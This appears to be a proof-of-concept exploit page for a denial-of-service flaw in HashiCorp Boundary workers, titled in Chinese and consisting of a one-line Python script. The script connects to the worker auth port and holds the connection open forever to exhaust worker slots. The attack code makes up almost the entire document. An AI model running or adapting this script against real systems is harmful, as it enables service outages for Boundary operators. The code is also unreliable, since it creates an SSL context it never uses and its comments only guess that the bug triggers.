CVE-2026-7776 HashiCorp Boundary TLS握手DoS漏洞

import socket import ssl import time # Target configuration TARGET_HOST = 'boundary-worker.example.com' TARGET_PORT = 9202 # Default worker auth listener port def exploit_dos(): try: # Establish a TCP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) # Wrap socket with SSL context but do not complete handshake fully or send cert # In a real exploit, we might start the handshake and pause context = ssl.create_default_context() # Attempt to wrap, which initiates handshake # Depending on implementation, simply holding the socket open might trigger the bug # if the server expects a cert and blocks waiting for it. # Simulate holding the connection open without sending client cert print(f"[+] Connection established to {TARGET_HOST}:{TARGET_PORT}") print("[*] Holding connection open to block worker thread...") # Keep the connection open indefinitely to consume the worker slot while True: time.sleep(1) except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == '__main__': exploit_dos()